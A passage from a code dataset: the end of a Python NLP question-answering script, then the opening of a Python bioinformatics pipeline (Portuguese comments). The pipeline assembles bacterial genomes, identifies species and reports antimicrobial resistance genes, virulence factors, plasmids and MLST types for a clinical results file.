print(cap(rem_parens(whenA)))\n continue\n whoA = get_who(questions[i].lower(), const_tree3, nertags)\n if (keyword_lower == \"who\" and whoA != None):\n print(cap(rem_parens(whoA)))\n continue\n (t5, howA) = is_how(const_tree5)\n (t7, howmanyA) = is_howmany(const_tree7, nertags)\n if (keyword_lower == \"how\"):\n if (keyword1_lower == \"many\" and howmanyA != None):\n print(cap(rem_parens(howmanyA)))\n elif (howA != None):\n print(cap(rem_parens(howA)))\n continue\n (t4, whyA) = reason_cause(const_tree4)\n if (keyword_lower == \"why\" and whyA != None):\n print(cap(rem_parens(whyA)))\n continue\n if (keywordpos == \"MD\" or lem(u''+keyword_lower, u'VERB')[0] == \"do\" or lem(u''+keyword_lower, u'VERB')[0] == \"is\" or lem(u''+keyword_lower, u'VERB')[0] == \"be\"):\n print(rem_parens(answerBinQ(sent, questions[i], spacy_nlp)))\n continue\n else:\n print(rem_parens(sent))\n except:\n print(matches[i])\n\n\nif __name__ == \"__main__\":\n # main(sys.argv[1], sys.argv[2])\n article_filename = sys.argv[1]\n article = open(article_filename, 'r', encoding=\"utf-8\")\n doc = article.read().replace('\\n', ' ')\n\n questions_filename = sys.argv[2]\n questions = open(questions_filename, 'r', encoding=\"utf-8\")\n matches = [matching.matching_sentence(doc, q) for q in questions]\n\n for match in matches:\n print(match)\n", "repo_name": "sashankg/TEMP_NAME_NLP_Project", "sub_path": "InitAnswers.py", "file_name": "InitAnswers.py", "file_ext": "py", "file_size_in_byte": 4321, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "stanfordcorenlp.StanfordCoreNLP", "line_number": 19, "usage_type": "call"}, {"api_name": "spacy.lemmatizer.Lemmatizer", "line_number": 20, "usage_type": "call"}, {"api_name": "spacy.lang.en.LEMMA_INDEX", "line_number": 20, "usage_type": "argument"}, {"api_name": "spacy.lang.en.LEMMA_EXC", "line_number": 20, "usage_type": "argument"}, {"api_name": "spacy.lang.en.LEMMA_RULES", "line_number": 20, "usage_type": "argument"}, {"api_name": "spacy.load", "line_number": 29, "usage_type": "call"}, {"api_name": "careerstat.getSentences", "line_number": 30, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 32, "usage_type": "call"}, {"api_name": "nltk.tree.Tree.fromstring", "line_number": 48, "usage_type": "call"}, {"api_name": "nltk.tree.Tree", "line_number": 48, "usage_type": "name"}, {"api_name": "careerstat.answerStats", "line_number": 65, "usage_type": "call"}, {"api_name": "LocTime.is_where", "line_number": 70, "usage_type": "call"}, {"api_name": "LocTime.is_time", "line_number": 74, "usage_type": "call"}, {"api_name": "Who.get_who", "line_number": 78, "usage_type": "call"}, {"api_name": "WhyHow.is_how", "line_number": 82, "usage_type": "call"}, {"api_name": "HowMany.is_howmany", "line_number": 83, "usage_type": "call"}, {"api_name": "WhyHow.reason_cause", "line_number": 90, "usage_type": "call"}, {"api_name": "SynAnt.answerBinQ", "line_number": 95, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 105, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 109, "usage_type": "attribute"}, {"api_name": "matching.matching_sentence", "line_number": 111, "usage_type": "call"}]} {"seq_id": "37950858080", "text": "#!/usr/bin/env python3\r\n# -*- coding: utf8 -*-\r\n\r\nimport os\r\nimport re\r\nimport sys\r\nimport shutil\r\nimport pathlib\r\nimport libs.alinhamento_poli as alinhamento_poli\r\nimport libs.alinhamento_poli_enterobacter as alinhamento_poli_enterobacter\r\nimport libs.alinhamento_poli_acineto as alinhamento_poli_acineto\r\nimport libs.alinhamento_poli_pseudo as alinhamento_poli_pseudo\r\nimport libs.alinhamento_outros_pseudo as alinhamento_outros_pseudo\r\nimport libs.alinhamento_outros_kleb as alinhamento_outros_kleb\r\nfrom libs.tools import _bn, _str, sp_runner, count_kraken_words, get_abricate_result, MongoSaver\r\n\r\n\r\nsys.path[0:0] = ['/opt/pipeline/lib/']\r\n\r\n\r\nMLST_result = ''\r\n_d = None\r\na = ''\r\nb = ''\r\ncount2 = 0\r\ndocker = []\r\nespecieAb = []\r\nespecieEc = []\r\nespecieKp = []\r\nfasta_outros = ''\r\nfasta_polimixina = ''\r\nidentificacao = []\r\nlines = []\r\nlista_acineto = ''\r\nlista_enterobacter = ''\r\nlista_kleb = ''\r\nnearest_sts = ''\r\npreidentificacao = []\r\nresultadoANI = ''\r\nTHREADS = \"16\" # new one will have 32\r\n\r\nsys.argv = sys.argv[1:] # dict(perllib.Array(sys.argv)[1:])\r\n# use alinhamento_poli_truncation;\r\n\r\n# Linha de comando do script perl pipeline_melise_output_gal.pl \r\n# \r\n\r\n# Guardar o caminho do diretorio \"Output\", com o resultado da montagem, anotacao e blast para todas as amostra. ex /home/melise/Output\r\ncaminho1 = sys.argv[0]\r\n\r\n# Guardar o nome da amostra com o _S*\r\nsample = sys.argv[1]\r\n# para pegar o numero da amostra antes do _S1\r\nsample1 = _str(sample).split('_')\r\nsample2 = sample1[0]\r\nprint(f\"Sample: {_bn(sample2)}\")\r\n\r\n# criar um diretório para a amostra\r\nos.makedirs(f\"{_bn(caminho1)}/{_bn(sample)}\", exist_ok=True)\r\n\r\n# caminho para onde esta instalado o abricate ex: ./abricate/bin/abricate\r\n\r\ncaminho_abricate = sys.argv[2]\r\n\r\n# Caminho para o output onde esta a tabela que sera colocado os resultados\r\ncaminho_output = sys.argv[3]\r\n\r\n# entrar com o caminho da pastar onde esta instalado o kmer-db /home/melise/kmer-db\r\nkmerdb_install = sys.argv[4]\r\n\r\n# entrar com o caminho da pastar onde esta instalado o mlst. ex: /home/melise/identificar_clones\r\nmlst_install = sys.argv[5]\r\n\r\n# Caminho para banco de dados com sequências de genes de R a polimixina\r\ndb_polimixina = sys.argv[6]\r\n\r\n# Caminho para banco de dados com sequências de genes de R mutacionais a outros antibioticos\r\ndb_outrosMut = sys.argv[7]\r\n\r\n# entrar com o caminho da pastar onde esta instalado o kraken2 ex: kraken2\r\nkraken2_install = sys.argv[8]\r\n\r\n# entrar com o caminho do unicycler\r\nunicycler = sys.argv[9]\r\n\r\n# criar um diretorio para unicycler\r\n# my @unicycler_dir = (\"mkdir\",\"$caminho1/$sample/unicycler\");\r\n#\t\tsystem(@unicycler_dir) == 0\r\n#\t\t\tor die \"system @unicycler_dir failes: $?\";\r\n\r\nprint('Parametros: ')\r\nprint(f\"caminho: {_bn(caminho1)} \")\r\nprint(f\"Sample: {_bn(sample)} \")\r\nprint(f\"SAmple2: {_bn(sample2)} \")\r\nprint(f\"camino abricate: {_bn(caminho_abricate)} \")\r\nprint(f\"camino abricate caminho_output: {_bn(caminho_output)} \")\r\nprint(f\"camino abricate kmerdb_install: {_bn(kmerdb_install)} \")\r\nprint(f\"mlst install: {_bn(mlst_install)} \")\r\nprint(f\"db polimixina: {_bn(db_polimixina)} \")\r\nprint(f\"db outros mut: {_bn(db_outrosMut)} \")\r\nprint(f\"kraken2_install: {_bn(kraken2_install)} \")\r\nprint(f\"unicycler: {_bn(unicycler)} \")\r\n\r\nR1 = sys.argv[10]\r\nR2 = sys.argv[11]\r\n\r\nmongo_saver = MongoSaver(caminho_output, sample2) # mongodb instance saver\r\n\r\n##################################################\r\n# rodar unicycler\r\nunicycler_exe = \" \".join(['unicycler', '-1', f\"{_bn(R1)}\", '-2', f\"{_bn(R2)}\", '-o', f\"{_bn(caminho1)}/{_bn(sample)}/unicycler\", '--min_fasta_length', '500', '--mode', 'conservative', '-t', THREADS, '--spades_path', '/opt/SPAdes-3.13.0-Linux/bin/spades.py'])\r\nsp_runner(unicycler_exe)\r\n\r\n# arquivo assembly.fasta da amostra\r\n\r\nmontagem = f\"{_bn(caminho1)}/{_bn(sample)}/unicycler/assembly.fasta\"\r\n\r\n###############################################################################\r\n# rodar prokka\r\nprokka_exe = \" \".join(['prokka', '--outdir', f\"{_bn(caminho1)}/{_bn(sample)}/prokka\", '--prefix', 'genome', f\"{montagem}\", '--force', \"--cpus\", \"0\"]) # --cpus 0 is ALL\r\nsp_runner(prokka_exe)\r\n\r\n# EXCLUSIVO DO PIPELINE OUTPUT\r\n\r\n# variavel para guardar os tipos de resultados que devem ser indicados\r\n# ex: checkm; especie; contigs; resfinder; VFDB; plasmid; mlst; mutacoes_poli; mutacoes_outra\r\n\r\ntipo_de_resultado = None\r\n# o que imprimir desse resultado\r\nimprimir = None\r\n\r\n#####################################################################################\r\n# PARA IMPRIMIR O RESULTADO EM UM ARQUIVO TXT PARA GAL\r\n\r\ngal_file = open('resultado_gal.txt', mode=\"a\", encoding='utf-8')\r\n\r\n##printar no arquivo final o nome da amostra na primeira linha\r\ngal_file.write(f\"\\nAmostra {_bn(sample)}\\nResultados relevantes do sequenciamento do genoma total (WGS):\\n\")\r\n\r\n####################################################################################\r\n# SILENCIADO NO PIPELINE OUTPUT\r\n\r\n# my $output = \"$caminho_output/$sample.xlsx\";\r\n# open (OUT2, \">> $output\") or die \"Nao foi possivel abrir output\\n\";\r\n\r\n##printar no arquivo final o nome da amostra na primeira coluna\r\n# print OUT2 \"$sample\\t\";\r\n\r\n#####################################################################################\r\n# SE NAO QUISER CHECKM\r\n\r\n# Rodar o CheckM para saber qualidade da corrida\r\n# Copiar o arquivo assembly.fasta para a pasta do CheckM checkM_bins\r\nos.makedirs(\"checkM_bins\", exist_ok=True)\r\nshutil.copy(os.path.join(\".\", f\"{montagem}\"), os.path.join(\".\", 'checkM_bins'))\r\n\r\n# rodar o CheckM\r\ncheckM = \" \".join(['checkm', 'lineage_wf', '-x', 'fasta', 'checkM_bins', 'checkM_bins', \"--threads\", THREADS, \"--pplacer_threads\", THREADS])\r\nsp_runner(checkM)\r\n\r\ncheckM_qa = \" \".join(['checkm', 'qa', '-o', '2', '-f', f\"checkM_bins/{_bn(sample)}_resultados\", '--tab_table', 'checkM_bins/lineage.ms', 'checkM_bins', \"--threads\", THREADS])\r\nsp_runner(checkM_qa)\r\n\r\n# apagar arquivos gerados, deixando apenas resultados\r\nshutil.rmtree('checkM_bins/bins', ignore_errors=True)\r\nshutil.rmtree('checkM_bins/storage', ignore_errors=True)\r\npathlib.Path('checkM_bins/assembly.fasta').unlink(missing_ok=True)\r\npathlib.Path('checkM_bins/lineage.ms').unlink(missing_ok=True)\r\npathlib.Path('checkM_bins/checkm.log').unlink(missing_ok=True)\r\n\r\n# Ler o arquivo do resultado e imprimir o que interessa na tabela\r\n# pegar o resultado da contaminacao\r\n\r\ncontaminacao = 0\r\n\r\nprint('Salvando resultado no mongo relatorios')\r\n\r\ngenome_size = None\r\n\r\nwith open(f\"checkM_bins/{_bn(sample)}_resultados\") as IN_check:\r\n next(IN_check) # ignore header\r\n for row in IN_check:\r\n # remove \\n of the line end\r\n row = row.rstrip(\"\\n\")\r\n # separar as colunas do arquivo em elementos em um array\r\n lines = row.split(\"\\t\")\r\n # print \"$lines[2]\\n\";\r\n # printar na tabela OUTPUT as informacoes de qualidade que interessam EXCLUSIVO TABELA OUTPUT\r\n # print OUT2 \"$lines[5]\\t$lines[6]\\t$lines[8]\\t\";\r\n genome_size = lines[8]\r\n mongo_saver.save('checkm_1', lines[5])\r\n mongo_saver.save('checkm_2', lines[6])\r\n mongo_saver.save('checkm_3', lines[8])\r\n mongo_saver.save('checkm_4', lines[11]) # contigs\r\n contaminacao = lines[6]\r\n\r\nmongo_saver.save('sample', sample)\r\n#########################################################################################################################\r\n# Identificar especie usando o kraken\r\n\r\nprint('rodar o kraken')\r\nkraken = \" \".join([f\"{_bn(kraken2_install)}/kraken2\", '--db', f\"{_bn(kraken2_install)}/minikraken2_v2_8GB_201904_UPDATE\", '--use-names', '--paired', f\"{_bn(R1)}\", f\"{_bn(R2)}\", '--output', 'out_kraken', \"--threads\", THREADS])\r\nsp_runner(kraken)\r\n\r\nprint(\"splitting output into %s equal files\" % THREADS)\r\npreffix = \"krk\"\r\nsplitter = \" \".join([\"split\", \"--numeric-suffixes=1\", \"-n\", f\"l/{THREADS}\", \"out_kraken\", preffix])\r\nsp_runner(splitter)\r\nordenado = count_kraken_words(int(THREADS), preffix)\r\n\r\n# contar qts vezes aparece cada especie\r\nrepeticoes = ordenado.most_common(2)\r\nmaior_repeticao = repeticoes[0][0]\r\nsegunda_repeticao = repeticoes[1][0]\r\n\r\n# print \"$maior_repeticao\\n$segunda_repeticao\\n\";\r\n\r\n# onde sera guardada o nome da especie\r\ncheck_especies = maior_repeticao\r\n\r\n# apagar o arquivo do resultado\r\n# my @rm2 = (\"rm\", \"out_kraken\");\r\n\r\n# system(@rm2) == 0\r\n# or die \"system @rm2 failes: $?\";\r\n\r\n# colocar só o genero e a especie, descartando qualquer outra informação dessa coluna do kraken\r\nidentificar_especie = '' # mod 11.05.22\r\ngenero = '' # mod 11.05.22\r\nespecie = '' # mod 11.05.22\r\n# juntar genero e especie para mlst\r\n# resultado_final_especie = '' # mod 11.05.22\r\n# resultado que sera impresso\r\nprintar_especies = '' # mod 11.05.22\r\n# o que usar para mlst\r\nespecie_mlst = '' # mod 11.05.22\r\n\r\nif (re.findall(re.compile(r'\\w+\\s\\w+', re.I), check_especies)): # mod 11.05.22\r\n check_especies = check_especies.strip()\r\n genero, especie = check_especies.split(\" \")\r\n # print \"$genero\\n$especie\\n\";\r\n # Associar o nome da especie ao banco do mlst e gravar o nome que sera dado como resultado final\r\n # resultado_final_especie = f\"{genero}{especie}\"\r\n # $printar_especies = $resultado_final_especie;\r\n # $especie_mlst = \"\";\r\nelse:\r\n printar_especies = check_especies\r\n genero = check_especies\r\n# mod ate aqui 20.05.22\r\n\r\n#######################################################################################################################\r\n# Sequencia para verificar mutacoes pontuais usando subrotinas proprias\r\n\r\n# guardar o resultado das mutacoes para polimixina\r\n\r\nresult2 = []\r\n# guardar o resultado das mutacoes para outros antibioticos\r\nresult3 = []\r\n# guardar resultados dos fatores de virulencia\r\nvfdb = []\r\n\r\nresultado_final_especie = f\"{genero}{especie}\".lower()\r\nprint(f\"resultado_final_especie: {resultado_final_especie}\")\r\nif resultado_final_especie == 'pseudomonasaeruginosa':\r\n especie_mlst = 'paeruginosa'\r\n printar_especies = 'Pseudomonas aeruginosa'\r\n fasta_polimixina = f\"{_bn(db_polimixina)}/proteins_pseudo_poli.fasta\"\r\n result2 = alinhamento_poli_pseudo.poli_pseudo(montagem, fasta_polimixina, sample, THREADS)\r\n fasta_outros = f\"{_bn(db_outrosMut)}/proteins_outrasMut_pseudo.fasta\"\r\n result3 = alinhamento_outros_pseudo.outros_pseudo(montagem, fasta_outros, sample, THREADS)\r\nelif resultado_final_especie == 'escherichiacoli':\r\n especie_mlst = 'ecoli'\r\n printar_especies = 'Escherichia coli'\r\nelif resultado_final_especie == 'staphylococcusaureus':\r\n especie_mlst = 'saureus'\r\n printar_especies = 'Staphylococcus aureus'\r\nelif resultado_final_especie == 'pseudomonasputida':\r\n especie_mlst = 'pputida'\r\n printar_especies = 'pseudomonas putida'\r\nelif resultado_final_especie == 'Listeriamonocytogenes': # modificado 19.11.21\r\n especie_mlst = 'lmonocytogenes'\r\n printar_especies = 'Listeria monocytogenes'\r\nelif resultado_final_especie == 'enterococcusfaecalis':\r\n especie_mlst = 'efaecalis'\r\n printar_especies = 'Enterococcus faecalis'\r\nelif resultado_final_especie == 'klebsiellaoxytoca':\r\n especie_mlst = 'koxytoca'\r\n printar_especies = 'Klebsiella oxytoca'\r\nelif resultado_final_especie == 'enterococcusfaecium':\r\n especie_mlst = 'efaecium'\r\n printar_especies = 'Enterococcus faecium'\r\nelif resultado_final_especie == 'serratiamarcescens':\r\n especie_mlst = 'Nao disponivel'\r\n printar_especies = 'Serratia marcescens'\r\nelif resultado_final_especie == 'providenciastuartii':\r\n especie_mlst = 'Nao disponivel'\r\n printar_especies = 'Providencia stuartii'\r\nelif resultado_final_especie in ('klebsiellapneumoniae', 'acinetobacterbaumannii',\r\n \"enterobactercloacae\", \"enterobacterhormaechei\", \"enterobacterasburiae\",\r\n \"enterobacterkobei\", \"enterobacterroggenkampii\", \"enterobacterludwigii\"):\r\n lista = \"\"\r\n fastANI_txt = \"Para FastANI\"\r\n if resultado_final_especie == 'klebsiellapneumoniae':\r\n especie_mlst = 'kpneumoniae'\r\n # $printar_especies = \"Klebsiella pneumoniae\";\r\n fasta_polimixina = f\"{_bn(db_polimixina)}/proteins_kleb_poli.fasta\"\r\n result2 = alinhamento_poli.poli(montagem, fasta_polimixina, sample, THREADS)\r\n # @result2 = &alinhamento_poli_truncation::poli($montagem,$fasta_polimixina,$sample);\r\n fasta_outros = f\"{_bn(db_outrosMut)}/proteins_outrasMut_kleb.fasta\"\r\n result3 = alinhamento_outros_kleb.outros_kleb(montagem, fasta_outros, sample, THREADS)\r\n lista = '/opt/genomas_enterobacter/kleb_database/lista-kleb' # CAMBIAR\r\n elif resultado_final_especie == \"acinetobacterbaumannii\":\r\n especie_mlst = 'abaumannii_2'\r\n # $printar_especies = \"Acinetobacter baumannii\";\r\n fasta_polimixina = f\"{_bn(db_polimixina)}/proteins_acineto_poli.fasta\"\r\n result2 = alinhamento_poli_acineto.poli_acineto(montagem, fasta_polimixina, sample, THREADS)\r\n lista = '/opt/genomas_enterobacter/fastANI_acineto/list-acineto' # CAMBIAR\r\n elif resultado_final_especie in (\"enterobactercloacae\", \"enterobacterhormaechei\", \"enterobacterasburiae\",\r\n \"enterobacterkobei\", \"enterobacterroggenkampii\", \"enterobacterludwigii\"):\r\n especie_mlst = \"ecloacae\"\r\n lista = '/opt/genomas_enterobacter/fastANI/list_entero' # CAMBIAR\r\n fastANI_txt = 'Rodar fastANI para subespecie'\r\n\r\n print(fastANI_txt)\r\n # Abrir o arquivo lista\r\n\r\n fastani = \" \".join(['/opt/FastANI/fastANI', '-q', f\"{_bn(caminho1)}/{_bn(sample)}/unicycler/assembly.fasta\", '--rl', f\"{lista}\", '-o', f\"{_bn(sample)}_out-fastANI\", \"--threads\", THREADS])\r\n sp_runner(fastani)\r\n\r\n # abrir output\r\n # Abrir o arquivo do output de distancia\r\n # array para guardar especies\r\n\r\n print('resultado do fastANI')\r\n with open(f\"{_bn(sample)}_out-fastANI\", \"r\") as IN7:\r\n especiE = IN7.readline().rstrip(\"\\n\").split('\\t') # first line only\r\n preidentificacao = especiE[1].split(\"/\")\r\n identificacao = preidentificacao[-1].split(\".\")\r\n printar_especies = identificacao[0]\r\n\r\n if re.search(r'Enterobacter_cloacae_subsp_cloacae', printar_especies, re.IGNORECASE):\r\n fasta_polimixina = f\"{_bn(db_polimixina)}/proteins_Ecloacae_poli.fasta\"\r\n result2 = alinhamento_poli_enterobacter.poli_enterobacter(montagem, fasta_polimixina, sample, THREADS)\r\nelse:\r\n # mod 20.05.22\r\n printar_especies = f\"{genero} {especie}\" # mod 10.05.22\r\n especie_mlst = 'Nao disponivel' # mod 26.08.22\r\n# mod 20.05.22\r\n\r\n# print \"$especie_mlst \";\r\n\r\nprint('contaminacao...')\r\n# printar no arquivo final o nome da especie\r\nif float(contaminacao) <= 10.:\r\n # print OUT2 \"$printar_especies\\t\";\r\n mongo_saver.save('especie', printar_especies)\r\n # para o gal\r\n gal_file.write(f\"Espécie identificada: {_bn(printar_especies)}\\n\")\r\nelse:\r\n # print OUT2 \"$printar_especies\\t\";\r\n imprimir = f\"{maior_repeticao} {_bn(repeticoes[0][1])} {segunda_repeticao} {_bn(repeticoes[1][1])}\"\r\n mongo_saver.save('especie', imprimir)\r\n # para o gal\r\n gal_file.write(f\"Espécie: CONTAMINAÇÃO {_bn(imprimir)}\\n\")\r\n\r\n# else {\r\n# \tprint OUT2 \"$maior_repeticao $count_ordenado2{$maior_repeticao} $segunda_repeticao $count_ordenado2{$segunda_repeticao}\\t\";\r\n# }\r\n\r\n###############################################################################################\r\n# Rodar ABRICATE\r\n# Para resistencia usando o ResFinder (porque so tem resistencia adquirida)\r\nabricante_out = f\"{_bn(sample)}_outAbricateRes\"\r\nabricante_exe = \" \".join([f\"{_bn(caminho_abricate)}\", \"--db\", \"resfinder\", f\"{_bn(caminho1)}/{_bn(sample)}/prokka/genome.ffn\", \">\", abricante_out, '--threads', THREADS])\r\nsp_runner(abricante_exe)\r\nselected = get_abricate_result(abricante_out, resistencia=True)\r\nselect_imprimir = []\r\n\r\n# criar um @ para cada classe de antibioticos\r\ngenes = []\r\n\r\n# print gal\r\ngal_file.write('Genes de resistência encontrados no WGS:\\n')\r\n\r\nfor n_l in selected:\r\n # print \"$n\\n\";\r\n # separar as colunas do arquivo em elementos de um array\r\n lines_blast = n_l.split(\"\\t\")\r\n # concatenar os resultado\r\n out_blast = f\"{lines_blast[5]} (ID:{lines_blast[10]} COV_Q:{lines_blast[9]} COV_DB:{lines_blast[6]})\"\r\n select_imprimir.append(out_blast)\r\n # imprimir no arquivo do gal\r\n if re.match(r'.*(blaKPC|blaNDM|blaVIM|blaIMP|blaSPM|blaOXA-23|blaOXA-24|blaOXA-25|blaOXA-26|blaOXA-27|blaOXA-48|blaOXA-51|blaOXA-58|blaOXA-64|blaOXA-65|blaOXA-69|blaOXA-90|blaOXA-72|blaOXA-98|blaOXA-116|blaOXA-117|blaOXA-160|blaOXA-175|blaOXA-176|blaOXA-253|blaOXA-343).*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (carbapenemase)\\n\";\r\n genes.append(lines_blast[5] + \" (carbapenemase)\")\r\n elif re.match(r'.*(blaTEM|blaSHV|blaADC|blaCTX-M|blaGES|blaOXA-(?!23|24|25|26|27|48|51|58|64|65|69|72|98|90|116|117|160|175|176|253|343)).*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (ESBL)\\n\";\r\n genes.append(lines_blast[5] + \" (ESBL)\")\r\n elif re.match(r\"(aac\\(6\\'\\)-Ib-cr).*\", lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a aminoglicosídeos e fluoroquinolonas)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to aminoglycosides and fluoroquinolones)\")\r\n elif re.match(r'(aph|aac|rmt|aad).*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a aminoglicosídeos)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to aminoglycosides)\")\r\n elif re.match(r'(cat|cml|cmx|floR).*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia ao cloranfenicol)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to chloramphenicol)\")\r\n elif re.match(r'(qnr|oqx).*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a fluoroquinolonas)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to fluoroquinolones)\")\r\n elif re.match(r'sul.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a sulfonamidas)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to sulfonamidas)\")\r\n elif re.match(r'dfrA.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a trimetoprim)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to trimetoprim)\")\r\n elif re.match(r'tet.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a tetraciclina)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to tetracycline)\")\r\n elif re.match(r'ere.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a eritromicina)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to eritromicina)\")\r\n elif re.match(r'erm.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a lincosamidas, macrolideos e estreptograminas)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to lincosamides, macrolides and streptogramins)\")\r\n elif re.match(r'ARR.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a rifampicina)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to rifampicin)\")\r\n elif re.match(r'(mph|msr).*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a macrolideos)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to macrolides)\")\r\n elif re.match(r'.*Van.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a vancomicina)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to vancomycin)\")\r\n elif re.match(r'.*lsa.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a vancomicina)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to clindamycin)\")\r\n elif re.match(r'.*mcr.*', lines_blast[5], re.I):\r\n # print OUT2 \"$lines_blast[5] (resistencia a vancomicina)\\n\";\r\n genes.append(f\"{lines_blast[5]} (resistance to polymyxin)\") # COLOCAR O NOME EM INGLES\r\n else:\r\n # print OUT2 \"$lines_blast[5]\\n\";\r\n genes.append(f\"{lines_blast[5]}\")\r\n\r\n# imprimir resultados com a classe do antimicrobiano\r\n\r\nmongo_saver.save(\"gene\", \"
\".join(genes))\r\nmongo_saver.save(\"resfinder\", \"
\".join(select_imprimir))\r\n\r\n################################################################################################\r\n# Rodar abricate para VFDB (Virulence factor)\r\nabricante_out = f\"{_bn(sample)}_outAbricateVFDB\"\r\nabricante_exe = \" \".join([f\"{_bn(caminho_abricate)}\", \"--db\", \"vfdb\", f\"{_bn(caminho1)}/{_bn(sample)}/prokka/genome.ffn\", \">\", abricante_out, '--threads', THREADS])\r\nsp_runner(abricante_exe)\r\nselected = get_abricate_result(abricante_out)\r\nselect_imprimir = []\r\n\r\n# ler o array selected\r\nfor n_l in selected:\r\n # print \"$n\\n\";\r\n # separar as colunas do arquivo em elementos de um array\r\n lines_blast = n_l.split(\"\\t\")\r\n # print OUT2 \"$lines_blast[5] ID:$lines_blast[10] COV_Q:$lines_blast[9] COV_DB:$lines_blast[6]\\|\";\r\n out_blast = f\"{lines_blast[1]}: {lines_blast[5]} {lines_blast[13]} ID:{lines_blast[10]} COV_Q:{lines_blast[9]} COV_DB:{lines_blast[6]}| \"\r\n select_imprimir.append(out_blast)\r\n\r\nmongo_saver.save('VFDB', \"
\".join(select_imprimir))\r\npathlib.Path(abricante_out).unlink(missing_ok=True)\r\n\r\n#########################################################################################################\r\n# Rodar abricate para PlasmidFinder\r\nabricante_out = f\"{_bn(sample)}_outAbricatePlasmid\"\r\nabricante_exe = \" \".join([f\"{_bn(caminho_abricate)}\", \"--db\", \"plasmidfinder\", f\"{_bn(caminho1)}/{_bn(sample)}/unicycler/assembly.fasta\", \">\", abricante_out, '--threads', THREADS])\r\nsp_runner(abricante_exe)\r\nselected = get_abricate_result(abricante_out)\r\nselect_imprimir = []\r\n\r\n# ler o array selected\r\nimprimir = 'Not found'\r\nif not selected:\r\n # print OUT2 \"Nao encontrado\\t\";\r\n mongo_saver.save('plasmid', imprimir)\r\n # para o gal\r\nelse:\r\n imprimir = \"\"\r\n for n_l in selected:\r\n # print \"$n\\n\";\r\n # separar as colunas do arquivo em elementos de um array\r\n lines_blast = n_l.split(\"\\t\")\r\n # print OUT2 \"$lines_blast[5] ID:$lines_blast[10] COV_Q:$lines_blast[9] COV_DB:$lines_blast[6]\\|\";\r\n out_blast = lines_blast[5] + 'ID' + ':' + lines_blast[10] + ' ' + 'COV_Q:' + lines_blast[9] + ' ' + 'COV_DB:' + lines_blast[6] + '|' + ' '\r\n select_imprimir.append(out_blast)\r\n imprimir += f\"\\n{lines_blast[5]}\"\r\ngal_file.write(f\"Plasmídeos encontrados:{_bn(imprimir)}\\n\")\r\n\r\nmongo_saver.save(\"plasmid\", \"
\".join(select_imprimir))\r\npathlib.Path(abricante_out).unlink(missing_ok=True)\r\n\r\n################################################################################################\r\n\r\nprint(f\"Rodar o MLST {especie_mlst}\")\r\n\r\nMLST_result = f\"{_bn(caminho1)}/{_bn(sample)}/unicycler/data.json\"\r\n# se nao tem mlst disponivel, ai tem que avisar\r\nif (especie_mlst == 'Nao disponivel') or (especie_mlst == ''): # mod 26-08-22\r\n # print OUT2 \"Nao disponivel\\t\";\r\n imprimir = 'Not available for this species' # mod 26.08.22\r\n mongo_saver.save('mlst', imprimir)\r\n # para o gal\r\n gal_file.write(f\"Clone ST {_bn(imprimir)} (determinado por MLST)\\n\")\r\nelse:\r\n # mod 26-08-22\r\n docker = \" \".join(['docker', 'run', '--rm', '-i', '-v', f\"{_bn(mlst_install)}/mlst_db:/database\", '-v', f\"{_bn(caminho1)}/{_bn(sample)}/unicycler:/workdir\", 'mlst', '-i', 'assembly.fasta', '-o', '.', '-s', f\"{especie_mlst}\"])\r\n # rodar o mlst\r\n sp_runner(docker)\r\n# mod\r\n\r\nST = None\r\nprint('ler o resultado do mlst')\r\nmlst_json = pathlib.Path(MLST_result)\r\nmlst_json.touch(exist_ok=True) # will create file, if it exists will do nothing\r\n\r\nwith open(mlst_json, \"r\") as IN3:\r\n line = IN3.readline().rstrip(\"\\n\") # single line file\r\n a = re.search(r'.*sequence_type\":\\s\"(\\d{1,4})\".*', line, re.IGNORECASE)\r\n b = re.search(r'.*sequence_type\":\\s\"(\\d*!,\\d*!)\".*', line, re.IGNORECASE)\r\n c = re.search(r'.*sequence_type\":\\s\"(\\d{1,4}\\*)\".*', line, re.IGNORECASE)\r\n for m in (a, b, c):\r\n if not m:\r\n continue\r\n ST = m.group(1)\r\n # print OUT2 \"$ST\\t\";\r\n imprimir = ST\r\n mongo_saver.save('mlst', imprimir)\r\n # para o gal\r\n gal_file.write(f\"Clone ST {_bn(imprimir)} (determinado por MLST)\\n\")\r\n m = re.search(r'nearest_sts\":\\s\"((\\d*,)*\\d*)\".*', line, re.IGNORECASE)\r\n if m:\r\n nearest_sts = 